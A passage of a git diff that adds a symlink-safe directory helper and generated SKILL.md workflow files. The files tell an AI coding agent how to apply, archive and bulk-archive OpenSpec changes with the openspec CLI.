run if the tree + * contains a symlink: deleting one would only unlink it, and a symlinked skill + * directory would otherwise let later writes land outside the repo. + */ +export function cleanSkillSubdirectories(outDir) { + mkdirSync(outDir, { recursive: true }); + const entries = readdirSync(outDir, { withFileTypes: true }); + // Reject before deleting anything so a bad tree is left fully intact. + for (const entry of entries) { + if (entry.isSymbolicLink()) { + throw new Error( + `Refusing to generate: ${join(outDir, entry.name)} is a symlink. Remove it and re-run.` + ); + } + } + for (const entry of entries) { + if (entry.isDirectory()) { + rmSync(join(outDir, entry.name), { recursive: true, force: true }); + } + } +} + +/** + * Create `<outDir>/<dirName>` and return its path, guaranteeing the write + * target is a real directory contained in outDir — never a path-traversing + * name and never a symlink that would redirect the write elsewhere. + */ +export function prepareSkillDirectory(outDir, dirName) { + if (!/^[a-z0-9][a-z0-9-]*$/.test(dirName)) { + throw new Error(`Refusing to generate: unsafe skill directory name ${JSON.stringify(dirName)}`); + } + const skillDir = join(outDir, dirName); + mkdirSync(skillDir, { recursive: true }); + if (!lstatSync(skillDir).isDirectory()) { + throw new Error(`Refusing to write through ${skillDir}: not a real directory.`); + } + return skillDir; +} diff --git a/skills/README.md b/skills/README.md new file mode 100644 index 0000000000..44c01c60f1 --- /dev/null +++ b/skills/README.md @@ -0,0 +1,19 @@ +# OpenSpec skills for skills.sh + +Install the OpenSpec workflow skills into any [skills.sh](https://skills.sh)-compatible agent: + +```bash +npx skills add Fission-AI/OpenSpec +``` + +Each `openspec-*/SKILL.md` here is the same skill `openspec init` writes into a +project. The skills drive the `openspec` CLI, so for the full setup (CLI + +`openspec/` project scaffolding + slash commands) run: + +```bash +npx openspec@latest init +``` + +> These files are generated from the skill templates — do not edit by hand. Run +> `pnpm build && pnpm generate:skills` after changing a template; +> `skillssh-parity.test.ts` fails if they drift. diff --git a/skills/openspec-apply-change/SKILL.md b/skills/openspec-apply-change/SKILL.md new file mode 100644 index 0000000000..cd00a8b444 --- /dev/null +++ b/skills/openspec-apply-change/SKILL.md @@ -0,0 +1,184 @@ +--- +name: openspec-apply-change +description: Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Implement tasks from an OpenSpec change. + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +**Input**: Optionally specify a change name (e.g., `/openspec-apply-change add-auth`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. + +**Steps** + +1. **Select the change** + + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run `openspec list --json` to get available changes and ask the user to select one + + Always announce: "Using change: <name>" and how to override (e.g., `/openspec-apply-change <other>`). + +2. **Check status to understand the schema** + ```bash + openspec status --change "<name>" --json + ``` + Parse the JSON to understand: + - `schemaName`: The workflow being used (e.g., "spec-driven") + - `planningHome`, `changeRoot`, and `actionContext`: planning scope and edit constraints + - Which artifact contains the tasks (typically "tasks" for spec-driven, check status for others) + +3. **Get apply instructions** + + ```bash + openspec instructions apply --change "<name>" --json + ``` + + This returns: + - `contextFiles`: artifact ID -> array of concrete file paths (varies by schema - could be proposal/specs/design/tasks or spec/tests/implementation/docs) + - Progress (total, complete, remaining) + - Task list with status + - Dynamic instruction based on current state + - Optional `context`: current required project instruction input from the selected root + - Optional `operationGuidance`: current advisory guidance for apply + + **Handle states:** + - If `state: "blocked"` (missing artifacts): show message, suggest using `/openspec-continue-change` (if it is not installed, run `openspec status --change "<name>" --json` to see the next artifact and `openspec instructions <artifact-id> --change "<name>" --json` for how to create it) + - If `state: "all_done"`: congratulate, suggest archive + - Otherwise: proceed to implementation + + Treat `context` as a required prompt-level input. Read and consider it, and + apply relevant project facts, conventions, and constraints while implementing. + Treat `operationGuidance` as optional additive advice. Read and consider every + entry, and follow entries that are applicable and compatible with the built-in + workflow. + + Keep both fields separate from CLI-returned state, missing artifacts, tasks, + progress, `contextFiles`, and the built-in `instruction`. They are not + evidence of task completion, do not replace the built-in instruction, and do + not permit bypassing a blocked state. If context conflicts with the built-in + instruction, an explicit user choice, or a CLI-controlled value, report the + conflict and preserve the controlling value. If guidance is inapplicable or + conflicts with those controlling inputs, do not follow it and explain why. + These are prompt-level behavior contracts, not enforceable checks. + +4. **Read context files** + + Read every file path listed under `contextFiles` from the apply instructions output. + The files depend on the schema being used: + - **spec-driven**: proposal, specs, design, tasks + - Other schemas: follow the contextFiles from CLI output + + Do not copy `context` or `operationGuidance` verbatim into implementation + files or planning artifacts unless the user separately asks for that content. + +5. **Show current progress** + + Display: + - Schema being used + - Progress: "N/M tasks complete" + - Remaining tasks overview + - Dynamic instruction from CLI + +6. **Implement tasks (loop until done or blocked)** + + For each pending task: + - Show which task is being worked on + - Make the code changes required + - Keep changes minimal and focused + - Mark task complete in the tasks file: `- [ ]` → `- [x]` + - Continue to next task + + **Pause if:** + - Task is unclear → ask for clarification + - Implementation reveals a design issue → suggest updating artifacts + - Error or blocker encountered → report and wait for guidance + - User interrupts + +7. **On completion or pause, show status** + + Display: + - Tasks completed this session + - Overall progress: "N/M tasks complete" + - If all done: suggest archive + - If paused: explain why and wait for guidance + +**Output During Implementation** + +``` +## Implementing: <change-name> (schema: <schema-name>) + +Working on task 3/7: <task description> +[...implementation happening...] +✓ Task complete + +Working on task 4/7: <task description> +[...implementation happening...] +✓ Task complete +``` + +**Output On Completion** + +``` +## Implementation Complete + +**Change:** <change-name> +**Schema:** <schema-name> +**Progress:** 7/7 tasks complete ✓ + +### Completed This Session +- [x] Task 1 +- [x] Task 2 +... + +All tasks complete! You can archive this change with `/openspec-archive-change`. +``` + +**Output On Pause (Issue Encountered)** + +``` +## Implementation Paused + +**Change:** <change-name> +**Schema:** <schema-name> +**Progress:** 4/7 tasks complete + +### Issue Encountered +<description of the issue> + +**Options:** +1. <option 1> +2. <option 2> +3. Other approach + +What would you like to do? +``` + +**Guardrails** +- Keep going through tasks until done or blocked +- Always read context files before starting (from the apply instructions output) +- If task is ambiguous, pause and ask before implementing +- If implementation reveals issues, pause and suggest artifact updates +- Keep code changes minimal and scoped to each task +- Update task checkbox immediately after completing each task +- Pause on errors, blockers, or unclear requirements - don't guess +- Use contextFiles from CLI output, don't assume specific file names +- Do not use context or operation guidance as proof that a task is complete +- Apply relevant project context; report conflicts with controlling workflow inputs +- Consider every guidance entry; explain any inapplicable or conflicting advice +- Do not copy runtime context or operation guidance into implementation files or planning artifacts +- Preserve CLI-controlled blocked/ready/all-done behavior and completion criteria + +**Fluid Workflow Integration** + +This skill supports the "actions on a change" model: + +- **Can be invoked anytime**: Before all artifacts are done (if tasks exist), after partial implementation, interleaved with other actions +- **Allows artifact updates**: If implementation reveals design issues, suggest updating artifacts - not phase-locked, work fluidly diff --git a/skills/openspec-archive-change/SKILL.md b/skills/openspec-archive-change/SKILL.md new file mode 100644 index 0000000000..80991b7fe9 --- /dev/null +++ b/skills/openspec-archive-change/SKILL.md @@ -0,0 +1,181 @@ +--- +name: openspec-archive-change +description: Archive a completed change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Archive a completed change in the experimental workflow. + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec. + +**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. + +**Steps** + +1. **Select the change** + + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run `openspec list --json` to get available changes and ask the user to select one + + When prompting, show only active changes (not already archived). + Include the schema used for each change if available. + + Always announce: "Using change: <name>" and how to override (e.g., `/openspec-archive-change <other>`). + + **Load current archive inputs before the existing archive checks:** + + After resolving the selected change and planning root, run: + ```bash + openspec instructions archive --change "<name>" --json + ``` + Keep the same selected-root flags on this command. This lookup is advisory and + optional: it only supplies extra prompt inputs, so it must never block archiving. + If it exits non-zero or returns invalid JSON — for example on an older CLI that + does not support this command yet — continue the archive workflow with no + context and no operation guidance. Do not report an error and do not stop. + + A successful response may omit both optional fields. Treat `context` as a + required prompt-level input: read and consider it, and apply relevant project + facts, conventions, and constraints. Treat `operationGuidance` as optional + additive advice: read and consider every entry, and follow entries that are + applicable and compatible with the built-in archive workflow. + + Keep both fields separate from built-in steps, explicit user choices, resolved + paths, CLI checks, and command contracts. If context conflicts with one of those + controlling inputs, report the conflict and preserve the controlling value. If + guidance is inapplicable or conflicts with a controlling input, do not follow it + and explain why. Do not infer replacement paths, skipped prompts, or flags from + either field, and do not copy their text verbatim into specs, change artifacts, + or archive summaries unless the user separately asks for it. These are + prompt-level behavior contracts, not enforceable checks. + +2. **Check artifact completion status** + + Run `openspec status --change "<name>" --json` to check artifact completion. + + Parse the JSON to understand: + - `schemaName`: The workflow being used + - `planningHome`, `changeRoot`, `artifactPaths`, and `actionContext`: path and scope context + - `artifacts`: List of artifacts with their status (`done`, `skipped`, or other) + + **If any artifacts are neither `done` nor `skipped`** (skipped artifacts satisfy the requirement - the change declares skip_specs): + - Display warning listing incomplete artifacts + - Ask the user to confirm they want to proceed + - Proceed if user confirms + +3. **Check task completion status** + + Read the tasks file (typically `tasks.md`) to check for incomplete tasks. + + Count tasks marked with `- [ ]` (incomplete) vs `- [x]` (complete). + + **If incomplete tasks found:** + - Display warning showing count of incomplete tasks + - Ask the user to confirm they want to proceed + - Proceed if user confirms + + **If no tasks file exists:** Proceed without task-related warning. + +4. **Assess delta spec sync state** + + Use `artifactPaths.specs.existingOutputPaths` from status JSON as the only + delta-spec source. If the `specs` entry is missing or + `existingOutputPaths` is empty, proceed without a sync prompt and do not infer + delta specs from other artifacts. + + **If delta specs exist:** + - Compare each delta spec with its corresponding main spec at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (use the store-aware `planningHome.root` from step 2, not a hardcoded repo path) + - Determine what changes would be applied (adds, modifications, removals, renames) + - Show a combined summary before prompting + + **Prompt options:** + - If changes needed: "Sync now (recommended)", "Archive without syncing" + - If already synced: "Archive now", "Sync anyway", "Cancel" + + Route on the answer: + - "Cancel" — stop, do not archive + - "Archive without syncing" or "Archive now" — proceed to archive + - "Sync now" or "Sync anyway" — sync, then verify (below) + - Anything else — ask again rather than archiving + + Before a selected sync writes any main spec, run + `openspec instructions specs --change "<name>" --json` once with the same + selected-root flags. Require a zero exit status and valid artifact-instruction + JSON. If the lookup fails or returns invalid JSON, report the error and stop + before writing any main spec or moving the change. A valid response with omitted + `rules` is the no-rules case. Apply returned `rules` only to the content and + form of main specs produced by this merge; do not use them as archive guidance, + change CLI behavior, or copy the rule text into any output file. + + Then run the `openspec-sync-specs` workflow inline (agent-driven intelligent merge) for change '<name>', passing the delta spec analysis and the fetched specs-rule snapshot from above, and wait for it to finish. The inline sync must reuse that snapshot without fetching `specs` instructions again. Do not delegate it to a background task — step 5 would move `changeRoot` out from under a sync that is still reading it, leaving the change archived and the main specs never updated. If your agent can only run it by delegation, delegate synchronously and wait for the result. + + Then re-run the comparison from the top of this step against every capability that has a delta spec in `artifactPaths.specs.existingOutputPaths` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced: + - ADDED requirements present + - MODIFIED requirements carrying the scenario and description changes named in the delta, with their other scenarios intact + - REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving `## Requirements` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match + - RENAMED requirements present under the new name and absent under the old one + + If the sync failed, or any capability does not match, report what differs and stop — do not archive. Nothing has moved and `changeRoot` is intact, so the user can fix the mismatch or re-run the sync and start the archive again. + +5. **Perform the archive** + + Create an `archive` directory under `planningHome.changesDir` if it doesn't exist: + ```bash + mkdir -p "<planningHome.changesDir>/archive" + ``` + + Generate the target name: use the change name as-is when it already starts with a `YYYY-MM-DD-` prefix; otherwise prepend the current date as `YYYY-MM-DD-<change-name>`. Never stack a second date (same rule as `openspec archive`). + + **Check if target already exists:** + - If yes: Fail with error, suggest renaming existing archive or using different date + - If no: Move `changeRoot` to the archive directory + + ```bash + mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>" + ``` + +6. **Display summary** + + Show archive completion summary including: + - Change name + - Schema that was used + - Archive location + - Whether specs were synced (if applicable) + - Note about any warnings (incomplete artifacts/tasks) + +**Output On Success** + +```markdown +## Archive Complete + +**Change:** <change-name> +**Schema:** <schema-name> +**Archived to:** the archive path derived from `planningHome.changesDir`/<target-name>/ +**Specs:** <"✓ Synced to main specs" only if the step 4 verification passed; otherwise "No delta specs" or "Sync skipped"> + +<"All artifacts complete. All tasks complete." — or, if archived with warnings, list them instead (e.g. "Archived with 2 incomplete tasks")> +``` + +**Guardrails** +- Announce the selected change; prompt for selection when it is ambiguous +- Use artifact graph (openspec status --json) for completion checking +- Don't block archive on warnings - just inform and confirm +- Preserve .openspec.yaml when moving to archive (it moves with the directory) +- Show clear summary of what happened +- If sync is requested, run the `openspec-sync-specs` workflow inline (agent-driven) +- Never archive while a spec sync is still in flight — run the sync inline and verify the main specs before moving `changeRoot` +- If delta specs exist, always run the sync assessment and show the combined summary before prompting +- Apply relevant runtime context and report conflicts; operation guidance remains advisory +- Consider every guidance entry and explain any inapplicable or conflicting advice +- Existing CLI checks, resolved paths, prompts, and command contracts are unchanged +- Artifact rules constrain only the specs being written and are never operation guidance +- Never copy runtime context, operation guidance, or artifact-rule text verbatim into output files diff --git a/skills/openspec-bulk-archive-change/SKILL.md b/skills/openspec-bulk-archive-change/SKILL.md new file mode 100644 index 0000000000..415b40396e --- /dev/null +++ b/skills/openspec-bulk-archive-change/SKILL.md @@ -0,0 +1,338 @@ +--- +name: openspec-bulk-archive-change +description: Archive multiple completed changes at once. Use when archiving several parallel changes. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Archive multiple completed changes in a single operation. + +This skill allows you to batch-archive changes, handling spec conflicts intelligently by checking the codebase to determine what's actually implemented. + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec. + +**Input**: None required (prompts for selection) + +**Steps** + +1. **Get active changes** + + Run `openspec list --json` to get all active changes. + + If no active changes exist, inform user and stop. + +2. **Prompt for change selection** + + Ask the user to choose changes (multi-select): + - Show each change with its schema + - Include an option for "All changes" + - Allow any number of selections (1+ works, 2+ is the typical use case) + + **IMPORTANT**: Do NOT auto-select. Always let the user choose. + + **Load current archive inputs once for the selected root before batch validation:** + + Choose one selected change from this root and run + `openspec instructions archive --change "<selected-change>" --json` with the + same selected-root flags. This lookup is advisory and optional: it only supplies + extra prompt inputs, so it must never block the batch. If it fails or returns + invalid JSON — for example on an older CLI that does not support this command + yet — continue the batch with no context and no operation guidance. Do not + report an error and do not stop. + + A valid response may omit `context` and `operationGuidance`. Treat + `context` as a required prompt-level input across the batch: read and consider + it, and apply relevant project facts, conventions, and constraints. Treat + `operationGuidance` as optional additive advice: read and consider every + entry, and follow entries that are applicable and compatible with the built-in + batch workflow. + + Keep both fields separate from conflict analysis, explicit user choices, + resolved paths, CLI checks, and command contracts. If context conflicts with one + of those controlling inputs, report the conflict and preserve the controlling + value. If guidance is inapplicable or conflicts with a controlling input, do not + follow it and explain why. Do not infer skipped prompts, replacement paths, or + flags from either field, and do not copy their text verbatim into specs, changes, + or summaries. These are prompt-level behavior contracts, not enforceable checks. + +3. **Batch validation - gather status for all selected changes** + + For each selected change, collect: + + a. **Artifact status** - Run `openspec status --change "<name>" --json` + - Parse `schemaName`, `artifacts`, `planningHome`, `changeRoot`, `artifactPaths`, and `actionContext` + - Note which artifacts are `done` vs other states + + b. **Task completion** - Read `artifactPaths.tasks.existingOutputPaths` from status JSON + - Count `- [ ]` (incomplete) vs `- [x]` (complete) + - If no tasks file exists, note as "No tasks" + + c. **Delta specs** - Check `artifactPaths.specs.existingOutputPaths` from status JSON + - List which capability specs exist + - For each, extract requirement names (lines matching `### Requirement: <name>`) + - Treat this list as the only delta-spec source. If the `specs` entry is + missing or the list is empty, perform no spec sync or specs-instruction + lookup for that change; do not infer deltas from unrelated artifacts. + - Evaluate this independently for every change, including mixed-schema + batches where some schemas have no `specs` artifact. +4. **Detect spec conflicts** + + Build a map keyed by `<capability-path>`, the exact path relative to `specs/`: + + ```text + identity/user-auth -> [change-a, change-b] <- CONFLICT (2+ changes) + billing/user-auth -> [change-c] <- OK (different full path) + ``` + + A conflict exists when 2+ selected changes have delta specs for the exact same `<capability-path>`. + +5. **Resolve conflicts agentically** + + **For each conflict**, investigate the codebase: + + a. **Read the delta specs** from each conflicting change to understand what each claims to add/modify + + b. **Search the codebase** for implementation evidence: + - Look for code implementing requirements from each delta spec + - Check for related files, functions, or tests + + c. **Determine resolution**: + - If only one change is actually implemented -> sync that one's specs + - If both implemented -> apply in chronological order (older first, newer overwrites) + - If neither implemented -> skip spec sync, warn user + + d. **Record resolution** for each conflict: + - An inclusion or exclusion decision for every delta spec, keyed by change and `<capability-path>` + - Which included delta specs to apply and in what order + - Which delta specs to exclude from sync because their implementation is missing + - Rationale (what was found in codebase) + +6. **Show consolidated status table** + + Display a table summarizing all changes: + + ```markdown + | Change | Artifacts | Tasks | Specs | Conflicts | Status | + |---------------------|-----------|-------|---------|-----------|--------| + | schema-management | Done | 5/5 | 2 delta | None | Ready | + | project-config | Done | 3/3 | 1 delta | None | Ready | + | add-oauth | Done | 4/4 | 1 delta | identity/user-auth (!) | Ready* | + | add-verify-skill | 1 left | 2/5 | None | None | Warn | + ``` + + For conflicts, show the resolution: + ```text + * Conflict resolution: + - identity/user-auth spec: Will apply add-oauth then add-jwt (both implemented, chronological order) + ``` + + For incomplete changes, show warnings: + ```text + Warnings: + - add-verify-skill: 1 incomplete artifact, 3 incomplete tasks + ``` + +7. **Confirm batch operation** + + Ask the user a single confirmation question: + + - "Archive N changes?" with options based on status + - Options might include: + - "Archive all N changes" + - "Archive only N ready changes (skip incomplete)" + - "Cancel" + + If there are incomplete changes, make clear they'll be archived with warnings. + + Route on the answer by intent, not by exact label — you wrote these labels, + so match what the user picked rather than the wording above: + - "Cancel" — stop, do not archive. Report that nothing was archived and skip the remaining steps. + - The archive-everything option — proceed with every selected change + - The ready-only option — proceed with only the changes the step 6 table marks `Ready` or `Ready*`, and record the rest as Skipped in step 8d. If a `Ready*` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived. + - Anything else — ask again rather than archiving + + Before step 8 writes the first main spec or moves any change, fetch every + required specs-rule snapshot for the confirmed batch. For each change that will + sync concrete `artifactPaths.specs.existingOutputPaths`, run + `openspec instructions specs --change "<name>" --json` exactly once with the + same selected-root flags. Obtain all snapshots before the first write or move. + If any lookup exits non-zero or returns invalid artifact-instruction JSON, + identify the affected change, report the error, and stop the whole batch before + any main-spec write or change move. Do not treat lookup failure as omitted + rules. A valid response without `rules` is the no-rules case. + +8. **Execute archive for each confirmed change** + + Before processing, carry the recorded decisions from step 5 (after any step 7 re-derivation) into two per-delta sets: + - `includedDeltas`: all non-conflicting delta specs from confirmed changes plus conflict deltas selected for sync + - `excludedDeltas`: conflict deltas from confirmed changes excluded because their implementation is missing + - A single change can have both included and excluded delta specs. Keep the decision per delta; do not collapse it into a per-change sync flag. + + Process changes in the determined order (respecting conflict resolution): + + a. **Sync included delta specs**: + - Run the `openspec-sync-specs` workflow inline (agent-driven intelligent merge) only for changes with entries in `includedDeltas`, passing only the included delta paths and explicitly instructing it to ignore that change's `excludedDeltas`. Wait for it to finish. + - For conflicts, apply in resolved order. + - Pass that change's fetched specs-rule snapshot into inline sync; inline + sync must reuse it without fetching instructions again + - Apply artifact rules only to main specs produced by that change. They do + not change conflict resolution, archive behavior, or CLI contracts, and + their text is not copied into an output file + - Do not delegate to a background task — step 8c would move `changeRoot` out from under a sync that is still reading it. + - If a change has no included delta specs, do not run the sync workflow for it. + + b. **Verify included delta specs before moving changeRoot**: + - Re-run the comparison only for delta specs in `includedDeltas` against main spec at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (use the store-aware `planningHome.root` from step 3 status JSON, not a hardcoded repo path). + - Verify that main specs are updated: + - ADDED requirements present + - MODIFIED requirements carrying scenario and description changes named in the delta, with their other scenarios intact + - REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving `## Requirements` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match + - RENAMED requirements present under the new name and absent under the old one + - Do not verify delta specs in `excludedDeltas`; they are intentionally left unsynced. + - If sync failed or any capability does not match verification, report what differs and fail/skip moving that change's `changeRoot` — do not archive that change. `changeRoot` remains intact. + + c. **Perform the archive**: + + Target name: use the change name as-is when it already starts with a `YYYY-MM-DD-` prefix; otherwise prepend the current date as `YYYY-MM-DD-<name>` (same rule as `openspec archive`). + + ```bash + mkdir -p "<planningHome.changesDir>/archive" + mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>" + ``` + + d. **Track outcome** for each change: + - Success: archived successfully + - Failed: error during archive or spec verification (record error) + - Skipped: user chose not to archive (if applicable) + - Sync skipped: for every delta in `excludedDeltas`, report `sync skipped` with the change, `<capability-path>`, and recorded reason. This is distinct from skipping the archive. + +9. **Display summary** + + Show final results: + + ```markdown + ## Bulk Archive Complete + + Archived 3 changes: + - schema-management-cli -> archive/2026-01-19-schema-management-cli/ + - project-config -> archive/2026-01-19-project-config/ + - add-oauth -> archive/2026-01-19-add-oauth/ + + Skipped 1 change: + - add-verify-skill (user chose not to archive incomplete) + + Spec sync summary: + - 4 delta specs synced to main specs + - 1 delta spec sync skipped (add-jwt, identity/user-auth: implementation not found) + - 1 conflict resolved (identity/user-auth: synced add-oauth, skipped add-jwt) + ``` + + If any failures: + ```text + Failed 1 change: + - some-change: Archive directory already exists + ``` + +**Conflict Resolution Examples** + +Example 1: Only one implemented +```text +Conflict: <planningHome.root>/openspec/specs/auth/spec.md touched by [add-oauth, add-jwt] + +Checking add-oauth: +- Delta adds "OAuth Provider Integration" requirement +- Searching codebase... found src/auth/oauth.ts implementing OAuth flow + +Checking add-jwt: +- Delta adds "JWT Token Handling" requirement +- Searching codebase... no JWT implementation found + +Resolution: Only add-oauth is implemented. Will sync add-oauth specs only. +``` + +Example 2: Both implemented +```text +Conflict: <planningHome.root>/openspec/specs/api/spec.md touched by [add-rest-api, add-graphql] + +Checking add-rest-api (created 2026-01-10): +- Delta adds "REST Endpoints" requirement +- Searching codebase... found src/api/rest.ts + +Checking add-graphql (created 2026-01-15): +- Delta adds "GraphQL Schema" requirement +- Searching codebase... found src/api/graphql.ts + +Resolution: Both implemented. Will apply add-rest-api specs first, +then add-graphql specs (chronological order, newer takes precedence). +``` + +**Output On Success** + +```markdown +## Bulk Archive Complete + +Archived N changes: +- <change-1> -> archive/<target-name-1>/ +- <change-2> -> archive/<target-name-2>/ + +Spec sync summary: +- N delta specs synced to main specs +- No conflicts (or: M conflicts resolved) +``` + +**Output On Partial Success** + +```markdown +## Bulk Archive Complete (partial) + +Archived N changes: +- <change-1> -> archive/<target-name-1>/ + +Skipped M changes: +- <change-2> (user chose not to archive incomplete) + +Failed K changes: +- <change-3>: Archive directory already exists +``` + +**Output When No Changes** + +```markdown +## No Changes to Archive + +No active changes found. Create a new change to get started. +``` + +**Guardrails** +- Allow any number of changes (1+ is fine, 2+ is the typical use case) +- Always prompt for selection, never auto-select +- Detect spec conflicts early and resolve by checking codebase +- When both changes are implemented, apply specs in chronological order +- Skip spec sync only when implementation is missing (warn user) +- Show clear per-change status before confirming +- Use single confirmation for entire batch +- Never archive after the user cancels the confirmation — a cancelled batch archives nothing +- Track and report all outcomes (success/skip/fail) +- Preserve .openspec.yaml when moving to archive +- Archive directory target uses current date: YYYY-MM-DD-<name>; a name that already starts with a `YYYY-MM-DD-` prefix is used as-is (never stack a second date) +- If archive target exists, fail that change but continue with others +- If sync is requested, run the `openspec-sync-specs` workflow inline (agent-driven) for each change with included delta specs +- Carry the per-delta `includedDeltas` and `excludedDeltas` decisions into execution; sync and verify only included deltas +- Report every excluded delta as `sync skipped` without treating the archive itself as skipped +- Never archive a change while a spec sync is still in flight — run the sync inline and verify main specs at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` before moving `changeRoot` +- Fetch archive inputs once per selected root before spec inspection or moves +- Fetch all required specs-rule snapshots before the batch's first main-spec write or move +- A failed archive-inputs lookup never blocks the batch; it proceeds with no context or guidance +- A failed specs instruction lookup stops the whole batch atomically +- Changes without concrete `artifactPaths.specs.existingOutputPaths` continue without spec sync +- Apply relevant runtime context across the batch and report conflicts +- Operation guidance remains advisory; consider every entry and explain rejected advice +- Keep runtime inputs, conflict analysis, CLI-derived values, and artifact rules separate +- Artifact rules constrain only written specs +- Never copy runtime input or artifact-rule text verbatim into output files diff --git a/skills/openspec-continue-change/SKILL.md b/skills/openspec-continue-change/SKILL.md new file mode 100644 index 0000000000..37201adf90 --- /dev/null +++ b/skills/openspec-continue-change/SKILL.md @@ -0,0 +1,117 @@ +--- +name: openspec-continue-change +description: Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow. +allowed-tools: Bash(openspec:*) +license: MIT +compatibility: Requires openspec CLI. +metadata: + author: openspec + version: "1.0" +--- + +Continue working on a change by creating the next artifact. + +**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root. + +**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. + +**Steps** + +1. **Select the change** + + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run `openspec list --json` to get available changes sorted by most recently modified, and ask the user to select one + + When prompting, present the top 3-4 most recently modified changes as options, showing: + - Change name + - Schema (from `schema` field if present, otherwise "spec-driven") + - Status (e.g., "0/5 tasks", "complete", "no tasks") + - How recently it was modified (from `lastModified` field) + + Mark the most recently modified change as "(Recommended)" since it's likely what the user wants to continue. + + Always announce: "Using change: <name>" and how to override (e.g., `/openspec-continue-change <other>`). + +2. **Check current status** + ```bash + openspec status --change "<name>" --json + ``` + Parse the JSON to understand current state. The response includes: + - `schemaName`: The workflow schema being used (e.g., "spec-driven") + - `artifacts`: Array of artifacts with their status ("done", "skipped", "ready", "blocked") + - `isPlanningComplete`: Boolean indicating if all planning artifacts are complete. Older CLI versions expose the same value as `isComplete`. + - `planningHome`, `changeRoot`, `artifactPaths`, and `actionContext`: path and scope context. Use these instead of assuming repo-local paths. + +3. **Act based on status**: + + --- + + **If all planning artifacts are complete (`isPlanningComplete: true`, or legacy `isComplete: true`)**: + - Congratulate the user + - Show final status including the schema used + - Suggest: "Planning is complete! You can now implement this change. Once implementation and any tracked work are complete, archive it." + - STOP + + --- + + **If artifacts are ready to create** (status shows artifacts with `status: "ready"`): + - Pick the FIRST artifact with `status: "ready"` from the status output + - Get its instructions: + ```bash + openspec instructions <artifact-id> --change "<name>" --json + ``` + - Parse the JSON. The key fields are: + - `context`: Project background (constraints for you - do NOT include in output) + - `rules`: Artifact-specific rules (constraints for you - do NOT include in output) + - `template`: The structure to use for your output file + - `instruction`: Schema-specific guidance + - `resolvedOutputPath`: Resolved path or pattern to write the artifact + - `dependencies`: Completed artifacts to read for context (entries with `skipped: true` have no files - do not look for them) + - `skipped`/`warning`: present when the change declares skip_specs and this artifact must NOT be 